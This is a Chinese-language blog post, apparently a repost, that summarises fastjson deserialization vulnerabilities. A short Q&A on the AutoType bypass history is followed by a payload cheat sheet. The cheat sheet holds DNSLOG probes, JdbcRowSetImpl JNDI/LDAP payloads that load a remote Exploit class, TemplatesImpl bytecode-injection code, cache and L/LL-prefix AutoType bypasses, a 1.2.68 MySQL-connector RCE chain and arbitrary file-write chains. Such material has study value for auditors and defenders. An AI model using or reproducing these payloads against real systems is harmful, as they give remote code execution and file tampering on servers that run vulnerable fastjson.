0x00 前言
这一篇主要是针对已经完成的fastjson系列做一个知识点总结,一来是为了更加有条理的梳理已经存在的内容,二来是为了更好的复习和利用。
0x01 Fastjson基础知识点
1.常见问题:
问:fastjson的触发点是什么?
fastjson的触发点是parseObject
问:fastjson payload最明显的特征是什么?
@type
问:fastjson 最早的利用版本是什么
1.2.24以下的版本
问:fastjson 除了可以执行命令还可以做什么其他的事情
因为fastjson本质是执行代码,所以可以做所有代码能够实现的事情
问:fastjson 的对抗历史中,主要是在绕过和对抗什么
checkautotype
问:fastjson对抗历史中,绕过Autotype的方式有哪些
Autotype开启
- 类名L
- 类名LL
- 类名[
- JNDIConfiguration绕过(黑名单不存在)
Autotype未开启
- 1.2.48 缓存绕过
- 1.2.68 白名单绕过
问:简述一下1.2.48缓存绕过的原理
首先通过Java.lang.class 将调用的类load进map,然后进行第二次@type调用,因为map中存在的,所以直接会获取到class。
0x02 POC
1.探测
1.1 DNSLOG
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
{
{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}
2.利用
2.1 不开启AutoType
<= 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}
如果 Feature.SupportNonPublicField开启,则使用下面的payload
final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("evil");
byte[] bytes = ctClass.toBytecode();
String encoded = Base64.getEncoder().encodeToString(bytes);
String payload = "{\"@type\":\"" + CLASS +
"\",\"_bytecodes\":[\""+encoded+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}";
return payload;
1.2.25 < 1.2.48
{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:9999/#Exploit", "autoCommit": true}}
1.2.68
这个需要使用mysql利用工具
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections5_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }
{ "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "C:/Users/wdd/Desktop/ls/ls/1.txt", "tempPath": "C:/Users/wdd/Desktop/ls/1.txt"}
文件写入
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "C:/Users/wdd/Desktop/ls/ls/4.txt",
"tempPath": "a"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "Y2VzaGk=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
2.2 开启AutoType
1.2.25
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}
1.2.60
{
"@type":"org.apache.commons.configuration.JNDIConfiguration",
"prefix":"ldap://localhost:9999/a"
}
2.3 版本 1.2.5 <= 1.2.60
0x03 Fastjson调用链
历史版本
- Java代码审计——Fastjson < 24 反序列
- Java代码审计——Fastjson1.2.25反序列化漏洞
- Java代码审计——Fastjson1.2.42反序列化漏洞
- Java代码审计——Fastjson1.2.43反序列化漏洞
- Java代码审计——Fastjson1.2.60反序列化漏洞
1.2.68
- Java代码审计——fastjson 1.2.68 反序列化漏洞 Exception
- Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
- Java代码审计——fastjson 1.2.68 反序列化漏洞 Mysql RCE
- Java代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作
- Java代码审计——fastjson 1.2.68 反序列化漏洞 文件写入
- Java代码审计——fastjson 1.2.68 反序列化漏洞 FileOutputStream写文件
- Java代码审计——fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件
调用链
转载:https://blog.csdn.net/qq_36869808/article/details/129001325